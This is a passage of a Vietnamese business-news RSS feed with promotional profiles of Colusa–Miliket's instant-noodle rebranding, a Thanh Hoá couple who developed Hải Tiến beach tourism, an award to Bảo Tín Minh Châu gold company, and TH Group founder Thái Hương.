thị trường nội địa chỉ đạt 2%, với sản lượng 15.400 tấn, nhưng lại được xem là  một năm thành công về doanh số so với những năm gần đây. Dù gặp sự sụt giảm về thị phần, […]

The post Doanh nhân Trần Hoàng Ngân, Tổng giám đốc Colusa – Miliket: Khoác áo mới cho “huyền thoại” mì hai tôm appeared first on Tri thức và Doanh nhân.

]]> Tích cực ứng dụng công nghệ mới
Doanh nhân Trần Hoàng Ngân – Tổng giám đốc Colusa – Miliket

Cuối năm 2022, thị phần của Colusa – Miliket trên thị trường nội địa chỉ đạt 2%, với sản lượng 15.400 tấn, nhưng lại được xem là  một năm thành công về doanh số so với những năm gần đây. Dù gặp sự sụt giảm về thị phần, thương hiệu Miliket vẫn khắc sâu trong tâm trí người tiêu dùng, một lợi thế quan trọng cho quá trình phát triển và tái định vị thương hiệu trên thị trường.

Sau khi ông Trần Hoàng Ngân được bổ nhiệm làm Tổng giám đốc Công ty Cổ phần Lương thực Thực phẩm Colusa – Miliket, ông đã tiến hành kiểm tra và cập nhật toàn bộ hệ thống máy móc, thiết bị. Đội ngũ kỹ thuật được giao nhiệm vụ nghiên cứu và áp dụng các cải tiến, bao gồm việc sử dụng công nghệ plasma độc quyền trong sản xuất mì, sợi, ra mắt sản phẩm mới với bao bì mới, và tập trung vào sản xuất xanh và mở rộng xuất khẩu.

Nỗ lực chuyển đổi số với khoản đầu tư trên 250.000 USD đã được ông Ngân quyết định thực hiện để nâng cao hiệu quả công việc tại Colusa – Miliket. Điều này đã mang lại kết quả tích cực, vượt qua dự đoán về thời gian chuyển đổi, với việc áp dụng thành công các phần mềm quản lý mới chỉ trong chưa đầy một năm.

Để mở rộng thị trường nội địa và thu hút khách hàng cao cấp, Colusa – Miliket đã tận dụng kênh Horeca, một bước tiến quan trọng hướng tới sự phát triển và tăng trưởng. Cùng lúc, công ty đã đẩy mạnh việc khai thác thị trường châu Âu, với mục tiêu sản xuất xanh, đồng thời mở rộng phạm vi hoạt động quốc tế đến các khu vực khác như Hàn Quốc, Nhật Bản, Mỹ, Anh, New Zealand, Singapore, Nam Mỹ và các quốc đảo thuộc Thái Bình Dương, từ đó nâng cao vị thế của mình trên thế giới.

Sự chú ý và đặt hàng từ các đối tác quốc tế đã tăng lên sau những cải tiến kịp thời, song Colusa – Miliket chỉ có thể ký kết với một số đối tác do hạn chế về khả năng sản xuất. Điều này đã thúc đẩy ông Trần Hoàng Ngân quyết định đầu tư vào việc xây dựng thêm nhà máy mới, với công suất dự kiến gấp đôi so với hiện tại, để mở rộng sản xuất.

Ngoài ra, công ty đã tái định vị khoảng 200 dòng sản phẩm, mỗi loại nhằm mục tiêu phục vụ một phân khúc khách hàng cụ thể. Các sản phẩm được đa dạng hóa, không chỉ giới hạn ở mì ăn liền truyền thống mà còn mở rộng sang các sản phẩm chế biến sẵn khác như phở, cháo ăn liền, cùng với các loại gia vị như nước tương, tương ớt, và nước chấm thực vật, góp phần phong phú hóa lựa chọn cho người tiêu dùng.

Kết quả của những nỗ lực này là việc sản lượng doanh nghiệp tăng lên 18.000 tấn trong năm đầu tiên thực hiện các biện pháp đổi mới, với mức tăng trưởng ấn tượng lên đến hơn 10% tại thị trường nội địa và 67% ở thị trường xuất khẩu, minh chứng cho thành công của Colusa – Miliket trong việc mở rộng và phát triển.

Đầu tư chuyển đổi xanh

Nỗ lực của Colusa – Miliket trong việc áp dụng và mở rộng sản xuất xanh không chỉ là một chiến lược kinh doanh thông minh mà còn phản ánh sự nhận thức sâu sắc về trách nhiệm đối với môi trường và xã hội. Việc tập trung vào sản xuất xanh từ năm 2009, với mục tiêu tiết kiệm năng lượng là bước đi đầu tiên tiên phong, cho thấy Colusa – Miliket đã nhận thức được tầm quan trọng của việc chuyển đổi sản xuất theo hướng bền vững trước nhiều doanh nghiệp khác.

Các biện pháp cụ thể như cải tiến công nghệ, áp dụng thiết bị tiết kiệm năng lượng, và đặc biệt là việc ứng dụng công nghệ plasma trong quy trình sản xuất, không chỉ giúp giảm phát thải mà còn tăng cường chất lượng sản phẩm, qua đó nâng cao sức cạnh tranh của sản phẩm trên thị trường quốc tế.

Đầu tư 50% vốn điều lệ vào sản xuất xanh là một quyết định đáng kể, minh chứng cho cam kết mạnh mẽ của Colusa – Miliket đối với phát triển bền vững. Sự đầu tư này không chỉ giúp doanh nghiệp tiết kiệm chi phí về lâu dài mà còn tạo ra lợi thế cạnh tranh, mở rộng cơ hội tiếp cận và thành công tại các thị trường xuất khẩu khắt khe, nhất là khi các biện pháp như Cơ chế điều chỉnh biên giới carbon (CBAM) bắt đầu được áp dụng.

Hơn nữa, việc lựa chọn đối tác và người đồng hành có chung tư duy và mục tiêu về sản xuất xanh là bước đi chiến lược, tạo nên một hệ sinh thái kinh doanh bền vững, khuyến khích và thúc đẩy sự phát triển của toàn bộ chuỗi giá trị. Điều này không chỉ tăng cường uy tín và thương hiệu của Colusa – Miliket trên thị trường quốc tế mà còn thu hút người tiêu dùng có ý thức về môi trường, những người ngày càng trở nên khắt khe hơn với các tiêu chuẩn sản phẩm thân thiện với môi trường.

Qua đó, Colusa – Miliket không chỉ đứng vững trên thị trường nhờ vào chất lượng sản phẩm mà còn bởi cam kết với sự phát triển bền vững, tạo ra giá trị cho cả doanh nghiệp và xã hội. Đây chính là minh chứng cho sự thành công của một chiến lược dài hạn, đặt trách nhiệm xã hội và môi trường lên hàng đầu.

Định vị lại thương hiệu

Colusa – Miliket, thông qua quá trình chuyển đổi và phát triển liên tục kể từ khi hợp nhất vào năm 2004 và chuyển đổi thành công ty cổ phần vào năm 2006, đã chứng tỏ khả năng thích ứng và đổi mới không ngừng để phù hợp với thị trường và nhu cầu người tiêu dùng. Từ việc giữ vững hình ảnh truyền thống qua sản phẩm mì hai tôm Miliket, được coi là biểu tượng văn hóa tiêu dùng ở Việt Nam, đến việc đầu tư mạnh mẽ vào sản xuất xanh và phát triển sản phẩm mới, Colusa – Miliket đã và đang chứng tỏ cam kết của mình đối với sự phát triển bền vững và tạo dựng giá trị cho cả người tiêu dùng và xã hội.

Sự chú trọng vào sản xuất xanh, bao gồm việc tiết kiệm năng lượng và giảm phát thải, không chỉ giúp Colusa – Miliket đáp ứng các yêu cầu ngày càng cao về môi trường từ các thị trường quốc tế mà còn cải thiện hình ảnh thương hiệu và tăng cường lợi thế cạnh tranh. Đặc biệt, việc áp dụng công nghệ plasma trong sản xuất là một bước đột phá, giúp nâng cao chất lượng sản phẩm và đảm bảo an toàn thực phẩm, minh chứng cho tư duy đổi mới và hướng tới tương lai của công ty.

Bên cạnh đó, việc định hướng phát triển các sản phẩm mới lạ, phù hợp với thị hiếu của người tiêu dùng trẻ, kết hợp giữa truyền thống và hiện đại trong sản phẩm và bao bì, cho thấy Colusa – Miliket không chỉ tập trung vào việc bảo tồn di sản mà còn hướng tới sự đổi mới và sáng tạo.

Tóm lại, thông qua những nỗ lực không ngừng nghỉ trong việc chuyển đổi xanh, đổi mới sản phẩm, và tạo dựng hình ảnh thương hiệu, Colusa – Miliket đang khẳng định mình không chỉ là một phần của lịch sử văn hóa tiêu dùng Việt Nam mà còn là một thương hiệu hướng tới tương lai, với cam kết về sự phát triển bền vững và trách nhiệm xã hội.

The post Doanh nhân Trần Hoàng Ngân, Tổng giám đốc Colusa – Miliket: Khoác áo mới cho “huyền thoại” mì hai tôm appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2024/03/doanh-nhan-tran-hoang-ngan-tong-giam-doc-colusa-miliket-khoac-ao-moi-cho-huyen-thoai-mi-hai-tom/feed/ 0 Cặp vợ chồng Doanh nhân, Nhà khoa học tuổi Dần – Cả đời bình dị với chữ Nhân https://dauantrithucvadoanhnhan.vn/2024/03/cap-vo-chong-doanh-nhan-nha-khoa-hoc-tuoi-dan-ca-doi-binh-di-voi-chu-nhan/?utm_source=rss&utm_medium=rss&utm_campaign=cap-vo-chong-doanh-nhan-nha-khoa-hoc-tuoi-dan-ca-doi-binh-di-voi-chu-nhan https://dauantrithucvadoanhnhan.vn/2024/03/cap-vo-chong-doanh-nhan-nha-khoa-hoc-tuoi-dan-ca-doi-binh-di-voi-chu-nhan/#respond Thu, 21 Mar 2024 08:48:30 +0000 https://dauantrithucvadoanhnhan.vn/?p=2161 Người tuổi Dần thường có những đặc điểm tính cách thiện chí, uy mãnh, uy quyền, may mắn, họ luôn tạo dựng cho mình cuộc sống khá sôi động với trọn vẹn đam mê, sẵn sàng mạo hiểm, không e sợ rủi ro. Đối với những việc cần quyết định, họ quyết nhanh chóng, mạnh […]

The post Cặp vợ chồng Doanh nhân, Nhà khoa học tuổi Dần – Cả đời bình dị với chữ Nhân appeared first on Tri thức và Doanh nhân.

]]>

Người tuổi Dần thường có những đặc điểm tính cách thiện chí, uy mãnh, uy quyền, may mắn, họ luôn tạo dựng cho mình cuộc sống khá sôi động với trọn vẹn đam mê, sẵn sàng mạo hiểm, không e sợ rủi ro.

Đối với những việc cần quyết định, họ quyết nhanh chóng, mạnh mẽ, cương nghị, thể hiện tâm thế thẳng thắn, công tâm…Đây chính là điểm thôi thúc họ hành động và hành động liên tục trong cuộc đời và sự nghiệp, vì vậy họ luôn đạt được những thành công xuất chúng mà nhiều người phải kính phục.

Nhân dịp đầu xuân Nhâm Dần 2022, phóng viên (PV) có cuộc trò chuyện với một cặp vợ chồng, họ là hai nhà Khoa học, Quản lý, hai Doanh nhân thành đạt của xứ Thanh. Đó là Tiến sĩ Lê Xuân Thảo và Tiến sĩ Lê Bích Thắng.

Tiến sĩ Lê Xuân Thảo, hiện là Ủy viên Đoàn Chủ tịch Liên Hiệp các Hội Khoa học Kỹ Thuật Việt Nam, Uỷ viên Thường vụ Hội Luật gia Việt Nam,  Phó chủ tịch thường trực Hội Đồng hương Thanh Hoá tại Hà Nội, Đồng thời, ông là Chủ tịch Hiệp hội Đầu tư Du lịch Hải Tiến, Phó Chủ tịch Thường trực Quỹ hỗ trợ Sáng tạoViệt Nam Vifotec (Qũy Vifotec) và vợ ông Tiến sĩ Lê Bích Thắng hiện là Chủ tịch Hội đồng quản trị Công ty Đầu tư Du lịch Hải Tiến, Phó Chủ tịch Hiệp hội Doanh nhân nữ tỉnh Thanh Hoá, Phó chủ tịch Hội Doanh nghiệp huyện Hoằng Hoá, Uỷ viên BCH Hội Bảo vệ tài nguyên môi trường Việt Nam, Phó chủ tịch Hiệp hội Du lịch tỉnh Thanh Hoá…

tm-img-alt

Vợ chồng doanh nhân, nhà khoa họcTS Lê Xuân Thảovà TS. Lê Bích Thắng

PV: Được biết anh chị là cặp vợ chồng đều sinh năm Canh Dần 1950, lớn lên trên vùng đất khoa bảng huyện Hoằng Hoá, tỉnh Thanh Hoá, đã thành công trên nhiều lĩnh vực. Anh, chị có thể giới thiệu đôi nét vềmình?

Tiến sĩ Lê Xuân Thảo:Tôi được sinh ra trong một gia đình khoa bảng, có truyền thống cách mạng, cụ nội tôi từng là Suất đội thuỷ binh Triều Đình Huế. Khi phong trào Cần Vương nổi lên, cụ hưởng ứng gia nhập phong trào Cần Vương và là thủ lĩnh của nghĩa quân Tổng Ngọc Chuế trong cuộc khởi nghĩa Ba Đình, cụ được cử làm Chánh Đề đốc nghĩa quân. Ông nội tôi là Lê Xuân Tiên, đỗ Tú tài Hán Học và sau đó đỗ thêm hai khoa tiếp theo, nên gia đình đượcTriều đình Huế sắc phong là “Hàn Lâm Thị Tộc”. Bố tôi Lê Xuân Lan từng là Phó Bí thư Huyện Ủy, Chủ tịch Ủy ban Hành chính kháng chiến huyện Hoằng Hóa từ năm 1950 – 1954. Vì vậy, từ cấp I đến cấp III tôi đều là học sinh học tại huyện Hoằng Hoá, chúng tôi đều là học sinh xuất sắc. Năm 1968, tôi được Nhà nước tuyển chọn đi du học tại Liên Xô.

Tôi theo học ngành chế tạo Tua-bin khí (một chuyên ngành sản xuất máy bay của Đại học Bách khoa Kharkov). Còn nhà tôi học ngành địa chất, khoa Địa hoá học thuộc trường Đại học Tổng hợp Tashkent Uzbekistan. Sau 7 năm học tập, chúng tôi đều tốt nghiệp bằng ưu tú trở về nước. Tôi được phân công về giảng dạy tại Trường Đại học Kỹ thuật Quân sự thuộc Bộ Quốc Phòng, nhà tôi nhận nhiệm vụ công tác tại Uỷ ban Khoa học Nhà nước (nay là Bộ Khoa học và Công nghệ). Và sau khi về nghỉ chế độ chúng tôi trở về quê hương và phát triển biển Hải Tiến từ vùng biển hoang sơ thành Khu du lịch Hải Tiến nổi tiếng như bây giờ.

PV: Ngay khi về nước, chị Lê Bích Thắng đã được giao đảm nhiệm những phần việc đặc biệt khó khăn, vậy sức mạnh nào đã cho chị nghị lực để đề xuất, góp phần thực hiện những dự án, công trình chống huỷ hoại môi trường nổi tiếng?

Tiến sĩ Lê Bích Thắng: Ngay từ nhỏ tôi luôn là học sinh xuất sắc của trường, và được bầu làm Phó Bí thư đoàn trường. Trong thời gian chiến tranh phá hoại miền Bắc, khi đó mới 15 tuổi tôi đã tham gia cùng các lực lượng vũ trang nhân dân trong vùng, vác những thùng đạn nặng tới 58 cân giải nguy cho kho vũ khí tại ga Nghĩa Trang và cứu thương cho các chiến sĩ bị thương trên chiến trường. Do có nhiều thành tích dũng cảm, mưu trí trong chiến đấu nên tôi được kết nạp vào Đảng Cộng sản Việt Nam ngày 3/2/1967 khi chưa đầy 17 tuổi. Tốt nghiệp xong lớp 10, tôi được cử đi tu nghiệp tại Liên Bang Xô Viết, tôi luôn nỗ lực trong học tập nên có kết quả xuất sắc và là đảng viên gương mẫu.

Tháng 7/1974, tôi tốt nghiệp về nước, tháng 8/1974 được phân công công tác tại Uỷ ban Khoa học Nhà nước, nay là Bộ Khoa học và Công nghệ, trước diễn biến phức tạp của môi trường Việt Nam,với chức năng nhiệm vụ của mình, tôi đã cùng đội ngũ cán bộ của Vụ Điều tra cơ bản của Ủy ban Khoa học Nhà nước xây dựng và bảo vệ thành công Luật bảo vệ môi trường, kịp thời ngăn chặn và đẩy lùi nhiều thảm hoạ môi trường gây ra tiêu biểu như: Vụ xả thải của công ty VEDAN ra sông Thị Vải ở tỉnh Đồng Nai, buộc công ty VEDAN phải đền bù thiệt hại gây ô nhiễm môi trường cho nhân dân 17 tỷ đồng. Tiếp đó là xây dựng và đề xuất thực hiện thành công Chỉ thị 406 về cấm đốt pháo ở Việt Nam đã ngăn ngừa được nhiều vụ việc chết người, gây thương tật và ô nhiễm môi trường do pháo gây ra;đề xuấtvà thực thi đền bù chiến tranh do chất độc hoá học Da cam Dioxincủa Mỹ trong chiến tranh Việt Nam, gây nên tổn thất  nhiều thế hệ cho con người Việt Nam và thảm họa môi trường bị hủy diệt. Trong quá trình thực thi công việc tôi đã được Chính phủ tặng Bằng khen, được Bộ trưởng Bộ Khoa học Công nghệ và Môi trường tặng danh hiệu Chiến sĩ thi đua.

Năm 2005, chúng tôi cùng được nghỉ chế độ, trở về xây dựng quê hương Thanh Hoá. Tại vùng biển Hải Tiến, huyện Hoằng Hóa, Công ty đầu tư Du lịch Hải Tiến do anh Thảo làm Giám đốc đã được phê duyệt 27 ha đất mặt biển để thực hiện dự án du lịch.

Những tưởng mơ ước không có gì trở ngại, tuy nhiên cơn bão số 7 năm 2005 mạnh cấp 13 ập vào ven biển Thanh Hoá, khiến đất liền bị xâm thực, lúc ấy phần đất của công ty mất khoảng 3,6 ha và đường mới làm cùng hàng ngàn cây dừa bị bão cuốn trôi.

Quyết vượt qua giông bão làm lại từ đầu và phải biến ước mơ thành hiện thực. Từ năm 2012 – 2014 khách sạn Ánh Phương trên diện tích 20.000 m2 được khánh thành đưa vào sử dụng với hơn 500  phòng. Sự xuất hiện đầu tiên của khách sạn Ánh Phương đã kéo theo nhiều nhà đầu tư vào với khu du lịch biển Hải Tiến. Tính đến cuối 2021, trên 50 công ty du lịch đã cắm chân ở biển Hải Tiến với khoảng gần 7.000 phòng đón khách. Kéo theo nhiều lao động có việc làm và thu nhập ổn định. Tính riêng thời điểm chưa bị ảnh hưởng dịch Covid-19, năm 2018 hơn 1,3 triệu lượt khách đến với khu dịch Hải Tiến, doanh thu ước là 1.200 tỷ đồng. Riêng khách sạn Ánh Phương của chúng tôi có hơn 300 nghìn lượt khách tới nghỉ.

tm-img-alt

TS Lê Xuân Thảo

PV: Với trọng trách là Phó Chủ tịch thường trực quỹ Vifotec hiện nay. Tiến sĩ Lê Xuân Thảo có thể cho biết đôi nét về quỹ Vifotec, và một số kết quả nổi bật trong hoạt động của các giải thưởng, cuộc thi?

Tiến sĩ Lê Xuân Thảo: Quỹ Vifotec Việt Nam thành lập ngày 17/11/1992, do Đại tướng Võ Nguyên Giáp làm Chủ tịch danh dự.Tôi đã cùng các đồng chí lãnh đạo Qũy Vifotec tham gia sáng lập, xây dựng và phát triển Qũy Vifotec cho tới ngày hôm nay.Trải qua 30 năm hoạt động, đếnnay Quỹ Vifotec đã tổ chức được 26 lần tổ chức Giải thưởng Vifotec, 16 lần tổ chức Hội thi sáng tạo toàn quốc và 16 lần tổ chức Cuộc thi sáng tạo dành cho thanh thiếu niên nhi đồng toàn quốc, lan tỏa tới 63 tỉnh, thành phố; rất nhiều đề tài đoạt giải thưởng về sáng tạo khoa học công nghệ trong nước và quốc tế đã được ứng dụng vào thực tế, góp phần phát triển kinh tế xã hội nước nhà. Thành công chung của Qũy Vifotec đã được Đảng và Nhà nước đánh giá cao, Qũy Vifotec đã vinh dự đón nhận Huân chương Độc lập hạng Nhì, Huân chương Lao động hạng Nhất, Nhì, Ba và nhiều phần thưởng cao quý khác…

PV: Với những cống hiến trên nhiều lĩnh vực, chắc hẳn anh chị đã được Đảng, Nhà nước ghi nhận với nhiều phần thưởng cao quý?

Tiến sĩ Lê Xuân Thảo: Tôi đã vinh dự được Chính phủ tặng Bằng khen và nhiều danh hiệu cao quýcác Bộ, Ngành Trung Ương và các tỉnh, thành phố trao tặng. Đặc biệt từ năm 2007 đến năm 2012, được Chủ tịch nước tặng Huân chương Lao động hạng Nhất, Nhì, Ba, Huân chương Chiến sĩ Vẻ vang…

Tiến sĩ Lê Bích Thắng: Nhiều lần tôi được Đảng, Nhà nước, Ban, Bộ, Ngành Trung Ương và tỉnh Thanh Hóa tặng nhiều Bằng Khen, Giấy khen. Đặc biệt Chính phủ đã tặng Bằng khen về thành tích cấm đốt pháo, Bộ Khoa học và công nghệ tặng danh hiệu Chiến sĩ  thi đua; Ủy ban nhân dân tỉnh Thanh Hóa tặng danh hiệu “Vì sự phát triển Thanh Hóa” nhân dịp 990 năm Danh xưng Thanh Hóa…

tm-img-alt

Tiến sỹ Lê Bích Thắng (thứ 2 từ trái qua) nhận Kỉ niệm chương Vì sự nghiệp Sáng tạo KHCN Việt Nam do Qũy Vifotec trao tặng năm 2021

Lời kết

Nói về Tiến sĩ  Lê XuânThảo và Tiến sĩ Lê Bích Thắng, một người bạn của anh chị đã từng nói, cả cuộc đời anh chị luôn bình dị một chữ Nhân. Trái tim được gọi thành tên ấy bằng cả tài năng và tâm đức đã sống và làm việc cống hiến cho quê hương, đất nước.

Ở tuổi“ Thất thập cổ lai hi” nhưng anh chị vẫn bình dị,thức khuya, dậy sớm với trái tim nồng ấm tình yêu quê hương, đất nước và vẫn khao khát nỗ lực từng ngày trên nhiều lĩnh vực, góp phần làm cho quê hương giàu đẹp. Bước sang năm mới Nhâm Dần 2022, chúc anh chị tiếp tục đầu tư vào những dự án du lịch tầm cỡ, làm động lực thúc đẩy cho ngành du lịch xứ Thanh vươn tầm khu vực và thế giới./.

Nguồn: https://vusta.vn/

The post Cặp vợ chồng Doanh nhân, Nhà khoa học tuổi Dần – Cả đời bình dị với chữ Nhân appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2024/03/cap-vo-chong-doanh-nhan-nha-khoa-hoc-tuoi-dan-ca-doi-binh-di-voi-chu-nhan/feed/ 0 Bảo Tín Minh Châu nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam https://dauantrithucvadoanhnhan.vn/2023/11/bao-tin-minh-chau-nhan-bang-khen-va-giai-thuong-doanh-nhan-tieu-bieu-cua-hoi-doanh-nhan-tu-nhan-viet-nam/?utm_source=rss&utm_medium=rss&utm_campaign=bao-tin-minh-chau-nhan-bang-khen-va-giai-thuong-doanh-nhan-tieu-bieu-cua-hoi-doanh-nhan-tu-nhan-viet-nam https://dauantrithucvadoanhnhan.vn/2023/11/bao-tin-minh-chau-nhan-bang-khen-va-giai-thuong-doanh-nhan-tieu-bieu-cua-hoi-doanh-nhan-tu-nhan-viet-nam/#respond Tue, 21 Nov 2023 09:43:58 +0000 https://dauantrithucvadoanhnhan.vn/?p=2173 Kỷ niệm ngày Doanh nhân Việt Nam, Lãnh đạo Hội doanh nhân Tư nhân Việt Nam đã trao tặng bằng khen và Giải thưởng cống hiến cho Công ty TNHH Bảo Tín Minh Châu. Nhân dịp kỷ niệm ngày Doanh nhân Việt Nam 13/10, Lãnh đạo Hội doanh nhân Tư nhân Việt Nam đến thăm […]

The post Bảo Tín Minh Châu nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam appeared first on Tri thức và Doanh nhân.

]]> Kỷ niệm ngày Doanh nhân Việt Nam, Lãnh đạo Hội doanh nhân Tư nhân Việt Nam đã trao tặng bằng khen và Giải thưởng cống hiến cho Công ty TNHH Bảo Tín Minh Châu.

Nhân dịp kỷ niệm ngày Doanh nhân Việt Nam 13/10, Lãnh đạo Hội doanh nhân Tư nhân Việt Nam đến thăm Doanh nghiệp gia đình truyền thống lâu đời Công ty TNHH Bảo Tín Minh Châu để trao tặng bằng khen và Giải thưởng cống hiến vì những đóng góp xây dựng nền kinh tế, văn hóa, xã hội.

Bảo Tín Minh Châu nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam

Bảo Tín Minh Châu đón nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam ngày 13/10.

Tại buổi lễ, Lãnh đạo Hội Doanh nhân Tư nhân Việt Nam đã trao tặng Bằng khen cho cụ Lương Thị Điểm – người có công lao sáng lập, xây dựng và phát triển doanh nghiệp Vàng Bảo Tín và trao Danh hiệu “Giải thưởng cống hiến Doanh nhân tiêu biểu trong sự nghiệp phát triển kinh tế – xã hội của đất nước” cho ông Vũ Minh Châu- Doanh nhân văn hóa- Tổng giám đốc Bảo Tín Minh Châu.

Cụ Lương Thị Điểm – Doanh nhân Cựu Chiến binh bày tỏ, nhân ngày Doanh nhân Việt Nam, tôi xin gửi lời cảm ơn tới Đảng, Nhà nước, Chính phủ cùng Hội doanh nhân tư nhân Việt Nam đã tạo điều kiện cho các công ty và doanh nghiệp vàng Bảo Tín phát triển như ngày hôm nay.

Bảo Tín Minh Châu nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam

Cụ Lương Thị Điểm, Doanh nhân Cựu Chiến Binh nhận bằng khen “Người có công lao sáng lập, xây dựng và phát triển doanh nghiệp Vàng Bảo Tín”.

PGS.TS Nguyễn Trọng Điều – Chủ tịch Hội Doanh nhân Tư nhân Việt Nam chia sẻ, Bảo Tín là thương hiệu có tiếng trên thị trường kim hoàn từ vài chục năm nay, tạo dựng được uy tín mạnh mẽ đối với khách hàng và chỗ đứng vững chắc trên thị trường vàng bạc Việt Nam. Trong đó, Bảo Tín Minh Châu là một trong những công ty uy tín hàng đầu của thương hiệu Bảo Tín với gần 35 năm phát triển, hiện nay có 3 cơ sở kinh doanh tại Hà Nội và hơn 200 đại lý trên toàn quốc, với hai dòng sản phẩm chính là Vàng Rồng Thăng Long và Vàng trang sức chất lượng cao.

Các sản phẩm của công ty luôn được người tiêu dùng tín nhiệm, bạn hàng đánh giá cao và được các cấp lãnh đạo thành phố, các tổ chức quốc gia, quốc tế trao tặng nhiều giải thưởng lớn. Thương hiệu vàng Bảo Tín được sáng lập bởi Trưởng lão Lương Thị Điểm và đã gắn bó với từng bước phát triển và xây dựng một thương hiệu Bảo Tín được nối nghiệp kinh doanh bởi nhiều thế hệ.

Bảo Tín Minh Châu nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam
Ông Vũ Minh Châu – Doanh nhân Văn hóa, Nghệ nhân Quốc gia, Tổng giám đốc Công ty TNHH Bảo Tín Minh Châu được tặng danh hiệu “Giải thưởng cống hiến Doanh nhân tiêu biểu trong sự nghiệp phát triển kinh tế – xã hội của đất nước”.

Gửi lời cảm ơn tới Ban Lãnh đạo Hội Doanh nhân Tư nhân Việt Nam, Tổng giám đốc Minh Châu bày tỏ mong muốn Hội Doanh nhân tư nhân Việt Nam luôn phát triển để kết nối, hỗ trợ các doanh nghiệp Việt Nam nhằm góp phần xây dựng xã hội và đất nước ngày càng tốt đẹp, giàu mạnh.

Nguồn: https://congthuong.vn/

The post Bảo Tín Minh Châu nhận bằng khen và Giải thưởng Doanh nhân tiêu biểu của Hội doanh nhân Tư nhân Việt Nam appeared first on Tri thức và Doanh nhân.

]]> https://dauantrithucvadoanhnhan.vn/2023/11/bao-tin-minh-chau-nhan-bang-khen-va-giai-thuong-doanh-nhan-tieu-bieu-cua-hoi-doanh-nhan-tu-nhan-viet-nam/feed/ 0 Anh hùng Lao động Thái Hương được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022 https://dauantrithucvadoanhnhan.vn/2023/03/anh-hung-lao-dong-thai-huong-duoc-vinh-danh-top-10-doanh-nhan-viet-nam-tieu-bieu-2022/?utm_source=rss&utm_medium=rss&utm_campaign=anh-hung-lao-dong-thai-huong-duoc-vinh-danh-top-10-doanh-nhan-viet-nam-tieu-bieu-2022 https://dauantrithucvadoanhnhan.vn/2023/03/anh-hung-lao-dong-thai-huong-duoc-vinh-danh-top-10-doanh-nhan-viet-nam-tieu-bieu-2022/#respond Tue, 21 Mar 2023 09:57:51 +0000 https://dauantrithucvadoanhnhan.vn/?p=2182 Anh hùng Lao động Thái Hương vừa được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022 Cả đời trân quý Mẹ Thiên nhiên, coi mục tiêu phát triển bền vững là kim chỉ nam cho mọi hoạt động của doanh nghiệp, Anh hùng Lao động Thái Hương – Nhà sáng lập, Chủ […]

The post Anh hùng Lao động Thái Hương được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022 appeared first on Tri thức và Doanh nhân.

]]> Anh hùng Lao động Thái Hương vừa được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022

Cả đời trân quý Mẹ Thiên nhiên, coi mục tiêu phát triển bền vững là kim chỉ nam cho mọi hoạt động của doanh nghiệp, Anh hùng Lao động Thái Hương – Nhà sáng lập, Chủ tịch Hội đồng Chiến lược Tập đoàn TH, Tổng giám đốc Ngân hàng Thương mại cổ phần Bắc Á, đã trở thành một trong 10 Doanh nhân Việt Nam tiêu biểu năm 2022.

Đây được coi là ghi nhận xứng đáng cho nỗ lực không biết mệt mỏi của “Người đàn bà sữa” trong hành trình gây dựng và phát triển doanh nghiệp dựa trên giá trị cốt lõi hàng đầu: “Vì sức khỏe cộng đồng”.

“Trân quý Mẹ Thiên nhiên, Người sẽ cho mình tất thảy”

Những người từng tiếp xúc với Anh hùng Lao động Thái Hương đều nhắc tới bà như một người truyền cảm hứng mãnh liệt. Năng lượng tích cực của nữ doanh nhân tài ba ấy chưa bao giờ vơi cạn và trên hết đó là quan điểm xuyên suốt được gói gọn trong một từ “thật.”

Chính vì thế, khi sáng lập Tập đoàn TH, bà Thái Hương luôn tâm niệm và kiên định với sứ mệnh đặt lợi ích riêng của Tập đoàn nằm trong lợi ích chung của quốc gia. Không tìm cách tối đa hóa lợi nhuận mà là hợp lý hóa lợi ích.

Anh hùng Lao động Thái Hương được vinh danh Top 10 Doanh nhân Việt Nam tiêu biểu 2022
Anh hùng Lao động Thái Hương – Nhà sáng lập, Chủ tịch Hội đồng chiến lược Tập đoàn TH, Tổng giám đốc Ngân hàng Thương mại cổ phần Bắc Á

Với triết lý gây ấn tượng mạnh mẽ: “Hãy trân quý Mẹ Thiên nhiên, Người sẽ cho mình tất thảy,” bà Thái Hương xác định chiến lược phát triển bền vững dựa trên sáu trụ cột: Dinh dưỡng – Sức khỏe, Môi trường, Con người, Giáo dục, Cộng đồng, Phúc lợi động vật. Sáu trụ cột này được Tập đoàn TH xây dựng và thiết kế với mục đích rõ ràng bao gồm nhiều Mục tiêu Phát triển bền vững của Liên hợp quốc (SDG).

Trong 6 cột trụ đó, riêng ở cột trụ về môi trường, Tập đoàn TH quyết tâm góp phần vào việc thay đổi xu hướng kinh doanh áp dụng công nghệ cao để khai thác tài nguyên thiên nhiên, tránh tác động thô bạo vào thiên nhiên khiến tình trạng biến đổi khí hậu ngày càng gia tăng và trở nên bất thường ảnh hưởng đến cuộc sống con người và thiên nhiên.

Với tư duy vượt trội, TH hiểu rằng, ứng dụng khoa học công nghệ cao, khoa học quản trị tân tiến nhất của thế giới không phải là để khai thác cạn kiệt tài nguyên hay thay thế sức mạnh của thiên nhiên, mà là để thúc đẩy quy trình sản xuất, để làm mọi thứ tốt hơn, để chăm sóc thiên nhiên tốt hơn, từ đó phụng sự con người tốt hơn.

Ứng dụng công nghệ cao kết hợp với khoa học quản trị, bà Thái Hương đã dẫn lối thành công cho các dự án nông nghiệp của TH. Cùng với đó, định hướng sản xuất hữu cơ sẽ xuyên suốt trong các dự án của TH, là kim chỉ nam giúp TH có những bước đi phù hợp để phát triển nông nghiệp hài hòa Mẹ Thiên nhiên.

